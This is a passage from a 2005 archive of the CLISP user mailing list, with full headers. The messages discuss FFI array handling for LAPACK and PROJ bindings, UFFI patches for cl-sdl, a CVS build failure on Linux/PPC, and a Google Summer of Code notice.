tcmail31.dmz.telekom.de with ESMTP; Mon, 30 May 2005 15:06:19 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 30 May 2005 15:05:34 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03047B23D8@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Bernard.Urban@meteo.fr Subject: Re: [clisp-list] FFI improvements needed MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BRACKET_OPEN BODY: Text interparsed with [ 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 30 06:07:52 2005 X-Original-Date: Mon, 30 May 2005 15:05:34 +0200 [Reposted to the list] Bernard Urban wrote: >Some comments about your recents emails: > >1) Stack overflow in clisp: to avoid the problem, I switched to a >allocate-{deep,shallow} formulation. The similarities with cmucl are >now striking, see code below.=20 >I can now solve linear systems of size 1000x1000 in a matter >of seconds.=20 >I remember that I had also (rare) stack overflow problems in the >past in clisp on other programs, but not in cmucl. I think clisp >must have a lower default stack limit, but I never investigated that. >2) Array ordering on Lisp, Fortran, and C >In Fortran and Lisp, all multidimensional arrays are behind the scene >one-dimensional, with some syntaxic sugar to access them >"naturally". But in your example of #2a((1 2 3)(4 5 6), if in Lisp the >1D version is #(1 2 3 4 5 6), in Fortran it will be #(1 4 2 5 3 6). >I have used ARRAY-ROW-MAJOR-INDEX in the code below=20 >as you suggested, and the difference is very visible now:=20 >you must transpose the input matrix to feed Fortran. > >I said I was not able to have correct result when initializing foreign >variable mat-alien with a 2D Lisp matrix: I missed the >transpose step, so final result was obviously false. > >Which leads us the case of C array semantic. Consider the following >C code: > >/* in memory, 6 consecutive elements */ >double test[2][3] =3D { 1, 2, 3, 4, 5, 6 }; > >and the following code: > >/* not sure that elements are consecutives */=20 >double * test_dyn[2]; >int i, j; > for (i =3D 0; i < 2; ++i) { > test_dyn[i] =3D calloc(3, sizeof(double)); > for (j =3D 0; j < 3; ++j) { > test_dyn[i][j] =3D 1 + j + 3*i; > } > } > >test_dyn is what I called "dynamic" C arrays. The first "constant" >ones are of rare use in my experience. So it did not make sense to me >that FFI supports them, I was sure before your remarks we were >speaking about the "dynamic" variant. This explains also the >insistance on having constant matrix dimensions in the FFI. Ah, I see. Indeed, test_dyn[][] and similar-looking test[][] are = confusing. >3) I got your UFFI patches, I will make some tests, and inform you > about the results. > >4) I do not intend to use your memofn function in that FFI case,=20 > as it probably allocates on stack. Yes, :out uses the stack, like with-foreign-object. >5) In the following code, I added also the generic Lapack eigenvalue > solver (in case you wonder: in f2c Fortran, length of strings are > passed as hidden arguments). Stack limitation is even more critical > for that.=20 [cmucl variant] are you sure you need (multiple-value-bind (ret info) (declare ignore ret) even for a function with no/void return type declaration? I thought (I would have bet) cmucl and clisp behave the same and return = no value, thus the primary value would be that of the first :out or = :in-out parameter (as in CLISP). > (setf (deref mat-alien (array-row-major-index matrice j i)) > (aref matrice i j)))) I'd suggest you add a commment to your code about this transposition = issue, otherwise it looks more like a typo. [clisp variant] > (x-alien (allocate-deep 'double-float y :count n)) > (let ((resul (make-array `(,n)=20 Just use (make-array n ...) for 1 dimension. > :element-type 'double-float))) > (dotimes (i n (values resul (=3D info 0))) > (setf (aref resul i)=20 > (element (foreign-value x-alien) i)))))) Just use (values (foreign-value x-alien) (=3D info 0)) CLISP knows about the foreign array and can convert for you. For = 1-dimension, there's no problem with transposition. >;;; Recherche de valeurs et vecteurs propres >(defun valpro (matrice) > "Recherche des valeurs propres d'une matrice r=E9elle avec=20 [not reviewed] >Again, thanks a lot for your feedback, I begin to see the light ! Regards, J=F6rg H=F6hle. From lylejp1@wfu.edu Mon May 30 07:18:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dcl6F-0000tS-VK for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 07:18:39 -0700 Received: from f1n1.sp2net.wfu.edu ([152.17.48.111] helo=f4n35.wfunet.wfu.edu) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1Dcl6E-0005gC-Eh for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 07:18:39 -0700 Received: from wfu.edu (cpe-065-188-250-006.triad.res.rr.com [65.188.250.6]) by f4n35.wfunet.wfu.edu (8.12.11/8.12.11) with SMTP id j4UEIRHL017137 for ; Mon, 30 May 2005 10:18:27 -0400 Message-ID: <429B20B7.7000305@wfu.edu> From: Jacob Lyles User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.3) Gecko/20030312 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] 'success story' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 30 07:19:29 2005 X-Original-Date: Mon, 30 May 2005 10:18:31 -0400 From Joerg-Cyril.Hoehle@t-systems.com Mon May 30 09:42:22 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DcnLK-0007xb-0i for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 09:42:22 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DcnLI-0003tY-8N for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 09:42:21 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 30 May 2005 18:42:18 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 30 May 2005 18:42:13 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03047B2476@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: urfaliog@tnt.uni-hannover.de MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] cl-sdl is running with clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 30 09:43:21 2005 X-Original-Date: Mon, 30 May 2005 18:42:12 +0200 Hi, I have cl-sdl running with clisp -- well, I only tested sdl-test.lisp and sdl-example1.lisp. You need a) my uffi patches (see Sam's pointer, i.e. the sourceforge patches section) b) remove the ffi:foreign-value in from of the ffi::%slot in get-slot-pointer -- sigh, I wish UFFI had a specification :-( c) reload sdl.lisp and sdl-ext.lisp from source after loading the system, -- this one is a bug in CLISP d) straight-forward modifications to cl-sdl/ffi/uffi.lisp, as I said. I used clisp (today's CVS), but 2.33.2 should work if you uncomment the definition in my ffi-patches-cvs.lisp for the foreign-variable constructor (see a). examples/Mandelbrot.lisp fails with an array out of bounds error at some point, but cmucl does it too. d) is as follows: + add clisp to obtain a nil +null-pointer+ + turn 3x #+nil to #+clisp to get deref-array/pointer/allocate-foreign-object from the uffi equivalents, no need for a work-around in cl-sdl. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Mon May 30 09:54:49 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DcnXN-0008QC-2f for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 09:54:49 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DcnXL-0005nB-SO for clisp-list@lists.sourceforge.net; Mon, 30 May 2005 09:54:48 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 30 May 2005 18:54:46 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 30 May 2005 18:54:19 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03047B247B@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Bernard.Urban@meteo.fr Subject: Re: [clisp-list] FFI improvements needed MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 30 09:56:05 2005 X-Original-Date: Mon, 30 May 2005 18:54:18 +0200 Hi, Bernard Urban wrote: [please always reply to the list as well] >I have done some tests with your UFFI for clisp. I have choosen >something different than lapack, namely the PROJ library (a >geographic projection >package; there are 'proj' and 'proj-ps-doc' Debian packages). Thanks a lot for your report. Actually, it's the first one I ever received (I hope I forgot nobody, sorry if I do)! >There is a one-line patch to apply to uffi.lisp (file patch-uffi). Ah I see, I took advantage of the fact that the :library argument is actually evaluated, you maybe have an older clisp where this was not the case. The advantage of the original code is that the library paths can be different between compilation and load&play times. No fixed path gets compiled in. >The most annoying thing here is the need of the C-wrapper, it lowers a >lot the usefulness of UFFI. Notice that clisp native ffi can avoid it >easily, but cmucl seems to need it anyway, as returning struct seems >here problematic. Browsing uffi-ized code, you'll see that a lot of packages use some custom stubs, e.g. cl-sdl, clsql etc. IIRC... Regards, Jorg Hohle. From lisp-clisp-list@m.gmane.org Tue May 31 08:46:02 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dd8wM-0006rp-8k for clisp-list@lists.sourceforge.net; Tue, 31 May 2005 08:46:02 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1Dd8wJ-0006Da-Hs for clisp-list@lists.sourceforge.net; Tue, 31 May 2005 08:46:02 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1Dd8rH-0005XM-21 for clisp-list@lists.sourceforge.net; Tue, 31 May 2005 17:40:47 +0200 Received: from i3ed6c16a.versanet.de ([62.214.193.106]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 31 May 2005 17:40:47 +0200 Received: from rm by i3ed6c16a.versanet.de with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 31 May 2005 17:40:47 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "R. Mattes" Lines: 38 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: i3ed6c16a.versanet.de User-Agent: Pan/0.14.2.91 (As She Crawled Across the Table (Debian GNU/Linux)) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] CLISP CVS fails to build ... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 31 08:48:48 2005 X-Original-Date: Tue, 31 May 2005 17:04:05 +0200 Hello Lisp, the subject line says it all: Clsip CVS fails to build on my Linux/PPC box. heres the end of the buid messages: full/lisp.run -B . -M full/lispinit.mem -norc -q -i bindings/glibc/linux -i bindings/glibc/wrap -i regexp/regexp -i clx/new-clx/clx -i clx/new-clx/image -i clx/new-clx/resource -i syscalls/posix -x (saveinitmem "full/lispinit.mem") ./clisp-link: line 46: full/lisp.run: Nosuch file or directory make: *** [full] Error 1 Here's my configure invocation: ./configure --prefix=/usr --with-dynamic-ffi \ --with-dynamic-modules \ --with-module=bindings/glibc \ --with-module=regexp \ --with-module=clx/new-clx \ --with-module=syscalls \ build Just for fun i linked 'base' to 'full' and entered the last step manually, but the build will stop with the following message (my indentation): $ full/lisp.run -B . -M full/lispinit.mem -norc -q -i bindings/glibc/linux -i bindings/glibc/wrap -i regexp/regexp -i clx/new-clx/clx -i clx/new-clx/image -i clx/new-clx/resource -i syscalls/posix -x '(saveinitmem "full/lispinit.mem")' ;; Loading file /usr/local/src/LISP/DEBS/clisp/build/bindings/glibc/linux.fas ... *** - FFI::LOOKUP-FOREIGN-FUNCTION: A foreign function "__errno_location" does not exist TIA Ralf Mattes From Joerg-Cyril.Hoehle@t-systems.com Wed Jun 01 09:05:28 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DdVii-0006az-A1 for clisp-list@lists.sourceforge.net; Wed, 01 Jun 2005 09:05:28 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DdVig-0000TU-3f for clisp-list@lists.sourceforge.net; Wed, 01 Jun 2005 09:05:28 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 1 Jun 2005 18:05:22 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 1 Jun 2005 18:05:16 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03047B2866@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: rm@mh-freiburg.de Subject: Re: [clisp-list] CLISP CVS fails to build ... MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 1 09:08:13 2005 X-Original-Date: Wed, 1 Jun 2005 18:05:16 +0200 Ralf Mattes wrote: >Clsip CVS fails to build on my Linux/PPC box > FFI::LOOKUP-FOREIGN-FUNCTION: A foreign function=20 >"__errno_location" does not exist Uncomment the errno c-var code in linux.lisp as a work-around. Maybe = clisp should provide the address of errno natively in the FFI (in the = init section of foreign.d, so DEF-C-VAR can find it under a known = name), so there would be no need to play with glibc-specific stuff. The = day clisp might have threads that would then be changed, so we have = time (or the __errno_location be made dependent on #+MT or whatever). BTW, is your Linux/PPC box using glibc? Regards, J=F6rg H=F6hle From lisp-clisp-list@m.gmane.org Wed Jun 01 14:48:34 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ddb4k-0007LN-IA for clisp-list@lists.sourceforge.net; Wed, 01 Jun 2005 14:48:34 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1Ddb4g-0001Yf-PE for clisp-list@lists.sourceforge.net; Wed, 01 Jun 2005 14:48:33 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Ddazu-0005oO-L9 for clisp-list@lists.sourceforge.net; Wed, 01 Jun 2005 23:43:35 +0200 Received: from i3ed6c04e.versanet.de ([62.214.192.78]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 01 Jun 2005 23:43:34 +0200 Received: from rm by i3ed6c04e.versanet.de with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 01 Jun 2005 23:43:34 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "R. Mattes" Lines: 42 Message-ID: References: <5F9130612D07074EB0A0CE7E69FD7A03047B2866@S4DE8PSAAGS.blf.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: i3ed6c04e.versanet.de User-Agent: Pan/0.14.2.91 (As She Crawled Across the Table (Debian GNU/Linux)) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLISP CVS fails to build ... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 1 14:50:26 2005 X-Original-Date: Wed, 01 Jun 2005 23:24:54 +0200 On Wed, 01 Jun 2005 18:05:16 +0200, Hoehle, Joerg-Cyril wrote: > Ralf Mattes wrote: >>Clsip CVS fails to build on my Linux/PPC box >> FFI::LOOKUP-FOREIGN-FUNCTION: A foreign function >>"__errno_location" does not exist Allowed myself to insert linebreaks into your posting ... :-/ > Uncomment the errno c-var code in linux.lisp as a work-around. > Maybe clisp should provide the address of errno natively in the FFI (in > the init section of foreign.d, so DEF-C-VAR can find it under a known > name), so there would be no need to play with glibc-specific stuff. The > day clisp might have threads that would then be changed, so we have time > (or the __errno_location be made dependent on #+MT or whatever). Hmm, i went the easier way and configured with threads. > BTW, is your Linux/PPC box using glibc? Yes, of course. Why wouldn't it? BTW, the build is still broken - the configure script in modules/regexp seems to have problems finding install-sh (maybe a problem when building with a build directory?). The build stops at pretty much the same spot as i reported in my last mail. Sorry, i don't have enough time right now to debug any further. Thanks for your input Ralf Mattes > Regards, > Jörg Höhle > > > ------------------------------------------------------- This SF.Net > email is sponsored by Yahoo. Introducing Yahoo! Search Developer Network > - Create apps using Yahoo! Search APIs Find out how you can build Yahoo! > directly into your own Applications - visit > http://developer.yahoo.net/?fr=offad-ysdn-ostg-q22005 From mjm@cs.umu.se Wed Jun 01 15:32:57 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ddblh-0001KS-86 for clisp-list@lists.sourceforge.net; Wed, 01 Jun 2005 15:32:57 -0700 Received: from khan.acc.umu.se ([130.239.18.139] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1Ddble-0008Ik-53 for clisp-list@lists.sourceforge.net; Wed, 01 Jun 2005 15:32:57 -0700 Received: from localhost (localhost [127.0.0.1]) by amavisd-new (Postfix) with ESMTP id 22BDBD220 for ; Thu, 2 Jun 2005 00:32:49 +0200 (MEST) Received: from mao.acc.umu.se (mao.acc.umu.se [130.239.18.154]) by khan.acc.umu.se (Postfix) with ESMTP id 0316AD20E for ; Thu, 2 Jun 2005 00:32:47 +0200 (MEST) Received: by mao.acc.umu.se (Postfix, from userid 3027) id 9E0CA4081; Thu, 2 Jun 2005 00:32:46 +0200 (CEST) Received: from lgh160a.skogsbrynet.se (lgh160a.skogsbrynet.se [82.182.216.164]) by puss.acc.umu.se (IMP) with HTTP for ; Thu, 2 Jun 2005 00:32:46 +0200 Message-ID: <1117665166.429e378e8e21b@puss.acc.umu.se> From: mjm@cs.umu.se To: clisp-list@lists.sourceforge.net References: <1114945104.4274b6506a7b1@puss.acc.umu.se> <1115050595.427652630e032@puss.acc.umu.se> <1115132132.427790e432810@puss.acc.umu.se> <1115196959.42788e1ff2f2a@puss.acc.umu.se> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 User-Agent: Internet Messaging Program (IMP) 3.2.2 X-Virus-Scanned: by amavisd-new at acc.umu.se Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: A bug in the 2.33.1 windows intallation? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 1 15:34:03 2005 X-Original-Date: Thu, 2 Jun 2005 00:32:46 +0200 Hi Sam, I am still getting around to asking CIA for a relational fact book. In the meantime one can ask "give the biggest country that borders a coun= try that borders a country that borders Israel."=20 > > A student of mine just finished this. He downloaded the code from > > Andreas Thiele that relies mostly on the FFI package. When I get the > > time I am going to go over his code in more detail to get a better > > understanding.=20 > did your student have to make a lot of changes? Well I made a lot of re-organization changes, but the basic ODBC stuff wo= rked out of the box. Now I have a question. We are using=20 "2.33.2 (2004-06-02)" on LINNUX. When I run STEP from a memory image I (only sometimes) get a real difficu= lt bug. Basically, under exactly the same inputs, the memory image returns a diff= erent value for a call to get-hash. The bug is very hard to reproduce, but I wa= s wondering if you have any pointers on this.=20 In the meantime I have decided not to run from a memory image. I will try= to get a better feel for what is happenening. But like I said it is very hard to track/reproduce this bug.=20 Cheers, MM From david.billinghurst@comalco.riotinto.com.au Thu Jun 02 17:11:58 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ddzn3-0004xX-Vw for clisp-list@lists.sourceforge.net; Thu, 02 Jun 2005 17:11:57 -0700 Received: from mail.riotinto.com.au ([57.70.13.254]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Ddzmr-0005vj-Dy for clisp-list@lists.sourceforge.net; Thu, 02 Jun 2005 17:11:54 -0700 Received: from calbrsv026.cal.riotinto.org ([203.4.57.7]) by corehub1.ex.riotinto.org with Microsoft SMTPSVC(5.0.2195.6713); Fri, 3 Jun 2005 10:09:17 +1000 Received: from calttsv025.cal.riotinto.org ([203.4.72.4]) by calbrsv026.cal.riotinto.org with Microsoft SMTPSVC(5.0.2195.6713); Fri, 3 Jun 2005 10:09:08 +1000 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Priority: normal Importance: normal Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 Message-ID: <026DCC31AB859648A6F16C0E5CD2580D308B48@calttsv025.cal.riotinto.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Google Summer of Code Thread-Index: AcVn0HYO/AXTKnrGTumwoIH2TfkAmw== From: "Billinghurst, David \(CALCRTS\)" To: , Cc: , X-OriginalArrivalTime: 03 Jun 2005 00:09:08.0949 (UTC) FILETIME=[76893850:01C567D0] X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Google Summer of Code Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 2 17:13:41 2005 X-Original-Date: Fri, 3 Jun 2005 10:09:08 +1000 I just noticed the Google "Summer of Code" program at = http://code.google.com/summerofcode.html. This may be of interest to = some readers of this list. LispNYC are a sponsoring organisation and have a list of possible = projects at http://www.lispnyc.org/summerofcode.html NOTICE This e-mail and any attachments are private and confidential and may = contain privileged information. If you are not an authorised recipient, = the copying or distribution of this e-mail and any attachments is = prohibited and you must not read, print or act in reliance on this = e-mail or attachments. This notice should not be removed. From pjb@informatimago.com Thu Jun 02 18:53:36 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1De1NQ-000237-IX for clisp-list@lists.sourceforge.net; Thu, 02 Jun 2005 18:53:36 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1De1NO-0004NY-Sj for clisp-list@lists.sourceforge.net; Thu, 02 Jun 2005 18:53:36 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 73201585BE; Fri, 3 Jun 2005 03:53:24 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 35871585BE; Fri, 3 Jun 2005 03:53:20 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4A25210FBF3; Fri, 3 Jun 2005 03:53:20 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17055.47120.250701.968226@thalassa.informatimago.com> To: , Subject: Re: [clisp-list] Google 